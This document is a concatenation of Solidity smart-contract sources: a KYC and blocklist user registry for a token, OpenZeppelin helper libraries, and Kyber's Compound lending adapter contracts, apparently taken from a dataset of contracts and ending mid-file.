function verifyKycEnableRedeem(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 1);
setAttribute(getRedeemAddress(_account), CAN_BURN, 1);
emit UserKycVerified(_account);
emit EnableRedeemAddress(getRedeemAddress(_account));
}
/**
* @dev Sets user as KYC un-verified.
* Disables `_account` redeem address to burn.
*
* Emits a {UserKycVerified} event.
* Emits a {v} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function unverifyKycDisableRedeem(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 0);
setAttribute(getRedeemAddress(_account), CAN_BURN, 0);
emit UserKycUnverified(_account);
emit DisableRedeemAddress(getRedeemAddress(_account));
}
/**
* @dev Registers `_account` as blocked.
*
* Emits a {BlockAccount} event.
*
* Requirements:
*
* - `_account` should not be already blocked.
*/
function blockAccount(address _account) public onlyOwner {
require(!_isBlocked(_account), "user already blocked");
setAttribute(_account, IS_BLOCKLISTED, 1);
emit BlockAccount(_account);
}
/**
* @dev Registers `_account` as un-blocked.
*
* Emits a {UnblockAccount} event.
*
* Requirements:
*
* - `_account` should be blocked.
*/
function unblockAccount(address _account) public onlyOwner {
require(_isBlocked(_account), "user not blocked");
setAttribute(_account, IS_BLOCKLISTED, 0);
emit UnblockAccount(_account);
}
/**
* @dev Gets user's account associated to a given `_redeemAddress`.
*/
function getUserByRedeemAddress(address _redeemAddress)
public
view
returns (address)
{
return
address(
uint160(
uint256(
getAttributeValue(_redeemAddress, REDEEM_ADDRESS_USER)
)
)
);
}
/**
* @dev Gets redeem address associated to a given `_account`
*/
function getRedeemAddress(address _account) public view returns (address) {
return
address(
uint160(
uint256(getAttributeValue(_account, USER_REDEEM_ADDRESS))
)
);
}
/**
* @dev Checks if the given `_account` is a registered user.
*/
function _isUser(address _account) internal view returns (bool) {
return getAttributeValue(_account, USER_REDEEM_ADDRESS) != 0;
}
/**
* @dev Checks if the given `_account` is blocked.
*/
function _isBlocked(address _account) internal view returns (bool) {
return getAttributeValue(_account, IS_BLOCKLISTED) == 1;
}
/**
* @dev Checks if the given `_account` is KYC verified.
*/
function _isKyced(address _account) internal view returns (bool) {
return getAttributeValue(_account, KYC_AML_VERIFIED) != 0;
}
/**
* @dev Checks if the given `_account` is a redeeming address.
*/
function _isRedemptionAddress(address _account)
internal
pure
returns (bool)
{
return uint256(uint160(_account)) < REDEMPTION_ADDRESS_COUNT;
}
/**
* @dev Determines if it is redeeming.
*/
function isRedeem(address, address _recipient)
external
view
override
onlyToken
returns (bool)
{
return _isRedemptionAddress(_recipient);
}
/**
* @dev Determines if it is redeeming from.
*/
function isRedeemFrom(
address,
address,
address _recipient
) external view override onlyToken returns (bool) {
return _isRedemptionAddress(_recipient);
}
/**
* @dev Throws if any of `_from` or `_to` is blocklisted.
*/
function canTransfer(address _from, address _to)
external
view
override
onlyToken
{
require(!_isBlocked(_from), "blocklisted");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_spender`, `_from` or `_to` is blocklisted.
*/
function canTransferFrom(
address _spender,
address _from,
address _to
) external view override onlyToken {
require(!_isBlocked(_spender), "blocklisted");
require(!_isBlocked(_from), "blocklisted");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_to` is not KYC verified or blocklisted.
*/
function canMint(address _to) external view override onlyToken {
require(_isKyced(_to), "user has not KYC");
require(!_isBlocked(_to), "blocklisted");
}
/**
* @dev Throws if any of `_from` is not enabled to burn or `_amount` lower than minBurnBound.
*/
function canBurn(address _from, uint256 _amount)
external
view
override
onlyToken
{
require(getAttributeValue(_from, CAN_BURN) != 0, "can not burn");
require(_amount >= minBurnBound, "below min bound");
require(_amount <= maxBurnBound, "above max bound");
}
/**
* @dev Throws if any of `_account` is not blocked.
*/
function canWipe(address _account) external view override onlyToken {
require(_isBlocked(_account), "can not wipe");
}
/**
* @dev Throws if called by any address other than the token.
*/
modifier onlyToken() {
require(msg.sender == token, "only Token");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Reclaimer
* @author WALLEXTRUST
* @dev Allows owner to claim ERC20 tokens ot ETH sent to this contract.
*/
abstract contract Claimer is Ownable {
using SafeERC20 for IERC20;
/**
* @dev send all token balance of an arbitrary erc20 token
* in the contract to another address
* @param token token to reclaim
* @param _to address to send eth balance to
*/
function claimToken(IERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
/**
* @dev send all eth balance in the contract to another address
* @param _to address to send eth balance to
*/
function claimEther(address payable _to) external onlyOwner {
(bool sent, ) = _to.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the Registry contract.
*/
interface IUserRegistry {
function canTransfer(address _from, address _to) external view;
function canTransferFrom(
address _spender,
address _from,
address _to
) external view;
function canMint(address _to) external view;
function canBurn(address _from, uint256 _amount) external view;
function canWipe(address _account) external view;
function isRedeem(address _sender, address _recipient)
external
view
returns (bool);
function isRedeemFrom(
address _caller,
address _sender,
address _recipient
) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Claimer.sol";
abstract contract Registry is Claimer {
struct AttributeData {
uint256 value;
address updatedBy;
uint256 timestamp;
}
mapping(address => mapping(bytes32 => AttributeData)) public attributes;
event SetAttribute(
address indexed who,
bytes32 attribute,
uint256 value,
address indexed updatedBy
);
function setAttribute(
address _who,
bytes32 _attribute,
uint256 _value
) public onlyOwner {
attributes[_who][_attribute] = AttributeData(
_value,
msg.sender,
block.timestamp
);
emit SetAttribute(_who, _attribute, _value, msg.sender);
}
function hasAttribute(address _who, bytes32 _attribute)
public
view
returns (bool)
{
return attributes[_who][_attribute].value != 0;
}
function getAttribute(address _who, bytes32 _attribute)
public
view
returns (AttributeData memory data)
{
data = attributes[_who][_attribute];
}
function getAttributeValue(address _who, bytes32 _attribute)
public
view
returns (uint256)
{
return attributes[_who][_attribute].value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
|
True
|
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// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "../interfaces/compound/IComptroller.sol";
import "../interfaces/compound/ICompErc20.sol";
import "./BaseLending.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
contract CompoundLending is BaseLending {
using SafeERC20 for IERC20Ext;
using SafeMath for uint256;
struct CompoundData {
address comptroller;
mapping(IERC20Ext => address) cTokens;
}
CompoundData public compoundData;
constructor(address _admin) BaseLending(_admin) {}
function updateCompoundData(
address _comptroller,
address _cEth,
address[] calldata _cTokens
) external onlyAdmin {
require(_comptroller != address(0), "invalid _comptroller");
require(_cEth != address(0), "invalid cEth");
if (compoundData.comptroller != _comptroller) {
compoundData.comptroller = _comptroller;
}
if (compoundData.cTokens[ETH_TOKEN_ADDRESS] != _cEth) {
compoundData.cTokens[ETH_TOKEN_ADDRESS] = _cEth;
}
IERC20Ext[] memory tokens;
if (_cTokens.length > 0) {
// add specific markets
tokens = new IERC20Ext[](_cTokens.length);
for (uint256 i = 0; i < _cTokens.length; i++) {
require(_cTokens[i] != address(0), "invalid cToken");
tokens[i] = IERC20Ext(ICompErc20(_cTokens[i]).underlying());
require(tokens[i] != IERC20Ext(0), "invalid underlying token");
if (compoundData.cTokens[tokens[i]] != _cTokens[i]) {
compoundData.cTokens[tokens[i]] = _cTokens[i];
safeApproveAllowance(_cTokens[i], tokens[i]);
}
}
} else {
// add all markets
ICompErc20[] memory markets = IComptroller(_comptroller).getAllMarkets();
tokens = new IERC20Ext[](markets.length);
address[] memory cTokens = new address[](markets.length);
for (uint256 i = 0; i < markets.length; i++) {
if (address(markets[i]) == _cEth) {
tokens[i] = ETH_TOKEN_ADDRESS;
cTokens[i] = _cEth;
continue;
}
require(markets[i] != ICompErc20(0), "invalid cToken");
tokens[i] = IERC20Ext(markets[i].underlying());
require(tokens[i] != IERC20Ext(0), "invalid underlying token");
cTokens[i] = address(markets[i]);
if (compoundData.cTokens[tokens[i]] != cTokens[i]) {
compoundData.cTokens[tokens[i]] = cTokens[i];
safeApproveAllowance(cTokens[i], tokens[i]);
}
}
}
}
/// @dev deposit to lending platforms
/// expect amount of token should already be in the contract
function depositTo(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount
) external override onlyProxyContract {
require(getBalance(token, address(this)) >= amount, "low balance");
// Compound
address cToken = compoundData.cTokens[token];
require(cToken != address(0), "token is not supported by Compound");
uint256 cTokenBalanceBefore = IERC20Ext(cToken).balanceOf(address(this));
if (token == ETH_TOKEN_ADDRESS) {
ICompEth(cToken).mint{value: amount}();
} else {
require(ICompErc20(cToken).mint(amount) == 0, "can not mint cToken");
}
uint256 cTokenReceived = IERC20Ext(cToken).balanceOf(address(this)).sub(
cTokenBalanceBefore
);
require(cTokenReceived > 0, "low token received");
IERC20Ext(cToken).safeTransfer(onBehalfOf, cTokenReceived);
}
/// @dev withdraw from lending platforms
/// expect amount of aToken or cToken should already be in the contract
function withdrawFrom(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 minReturn
) external override onlyProxyContract returns (uint256 returnedAmount) {
address lendingToken = getLendingToken(token);
uint256 tokenBalanceBefore = getBalance(token, address(this));
// burn cToken to withdraw underlying token
require(ICompErc20(lendingToken).redeem(amount) == 0, "unable to redeem");
returnedAmount = getBalance(token, address(this)).sub(tokenBalanceBefore);
require(returnedAmount >= minReturn, "low returned amount");
// transfer underlying token to user
transferToken(onBehalfOf, token, returnedAmount);
}
/// @dev repay borrows to lending platforms
/// expect amount of token should already be in the contract
/// if amount > payAmount, (amount - payAmount) will be sent back to user
function repayBorrowTo(
address payable onBehalfOf,
IERC20Ext token,
uint256 amount,
uint256 payAmount,
bytes calldata extraArgs
) external override onlyProxyContract {
require(amount >= payAmount, "invalid pay amount");
require(getBalance(token, address(this)) >= amount, "bad token balance");
if (amount > payAmount) {
// transfer back token
transferToken(payable(onBehalfOf), token, amount - payAmount);
}
address cToken = compoundData.cTokens[token];
require(cToken != address(0), "token is not supported by Compound");
if (token == ETH_TOKEN_ADDRESS) {
ICompEth(cToken).repayBorrowBehalf{value: payAmount}(onBehalfOf);
} else {
require(
ICompErc20(cToken).repayBorrowBehalf(onBehalfOf, payAmount) == 0,
"compound repay error"
);
}
}
/// @dev just a convenient method to claim Comp, user can call this contract directly
function claimComp(
address[] calldata holders,
ICompErc20[] calldata cTokens,
bool borrowers,
bool suppliers
) external {
require(holders.length > 0, "no holders");
IComptroller comptroller = IComptroller(compoundData.comptroller);
if (cTokens.length == 0) {
// claim for all markets
ICompErc20[] memory markets = comptroller.getAllMarkets();
comptroller.claimComp(holders, markets, borrowers, suppliers);
} else {
comptroller.claimComp(holders, cTokens, borrowers, suppliers);
}
}
function getLendingToken(IERC20Ext token) public view override returns (address) {
return compoundData.cTokens[token];
}
/** @dev Calculate the current user debt and return */
function getUserDebtCurrent(address _reserve, address _user)
external
override
returns (uint256 debt)
{
ICompErc20 cToken = ICompErc20(compoundData.cTokens[IERC20Ext(_reserve)]);
debt = cToken.borrowBalanceCurrent(_user);
}
}
pragma solidity 0.7.6;
import "./ICompErc20.sol";
interface IComptroller {
function getAllMarkets() external view returns (ICompErc20[] memory);
function getCompAddress() external view returns (address);
function claimComp(
address[] calldata holders,
ICompErc20[] calldata cTokens,
bool borrowers,
bool suppliers
) external;
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
}
pragma solidity 0.7.6;
interface ICompErc20 {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function underlying() external view returns (address);
}
interface ICompEth {
function mint() external payable;
function repayBorrowBehalf(address borrower) external payable;
function repayBorrow() external payable;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@kyber.network/utils-sc/contracts/Withdrawable.sol";
import "@kyber.network/utils-sc/contracts/Utils.sol";
import "./ILending.sol";
abstract contract BaseLending is ILending, Withdrawable, Utils {
using SafeERC20 for IERC20Ext;
using SafeMath for uint256;
address public proxyContract;
event UpdatedproxyContract(address indexed _oldProxyImpl, address indexed _newProxyImpl);
modifier onlyProxyContract() {
require(msg.sender == proxyContract, "only proxy impl");
_;
}
constructor(address _admin) Withdrawable(_admin) {}
receive() external payable {}
function updateProxyContract(address _proxyContract) external onlyAdmin {
require(_proxyContract != address(0), "invalid proxy impl");
emit UpdatedproxyContract(proxyContract, _proxyContract);
proxyContract = _proxyContract;
}
function safeApproveAllowance(address spender, IERC20Ext token) internal {
if (token != ETH_TOKEN_ADDRESS && token.allowance(address(this), spender) == 0) {
token.safeApprove(spender, MAX_ALLOWANCE);
}
}
function transferToken(
address payable recipient,
IERC20Ext token,
uint256 amount
) internal {
if (token == ETH_TOKEN_ADDRESS) {
(bool success, ) = recipient.call{value: amount}("");
require(success, "failed to transfer eth");
} else {
token.safeTransfer(recipient, amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Interface extending ERC20 standard to include decimals() as
* it is optional in the OpenZeppelin IERC20 interface.
*/
interface IERC20Ext is IERC20 {
/**
* @dev This function is required as Kyber requires to interact
* with token.decimals() with many of its operations.
*/
function decimals() external view returns (uint8 digits);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./IERC20Ext.sol";
import "./PermissionAdmin.sol";
abstract contract Withdrawable is PermissionAdmin {
using SafeERC20 for IERC20Ext;
event TokenWithdraw(IERC20Ext token, uint256 amount, address sendTo);
event EtherWithdraw(uint256 amount, address sendTo);
constructor(address _admin) PermissionAdmin(_admin) {}
/**
* @dev Withdraw all IERC20Ext compatible tokens
* @param token IERC20Ext The address of the token contract
*/
function withdrawToken(
IERC20Ext token,
uint256 amount,
address sendTo
) external onlyAdmin {
token.safeTransfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint256 amount, address payable sendTo) external onlyAdmin {
(bool success, ) = sendTo.call{value: amount}("");
require(success, "withdraw failed");
emit EtherWithdraw(amount, sendTo);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./IERC20Ext.sol";
/**
* @title Kyber utility file
* mostly shared constants and rate calculation helpers
* inherited by most of kyber contracts.
* previous utils implementations are for previous solidity versions.
*/
abstract contract Utils {
// Declared constants below to be used in tandem with
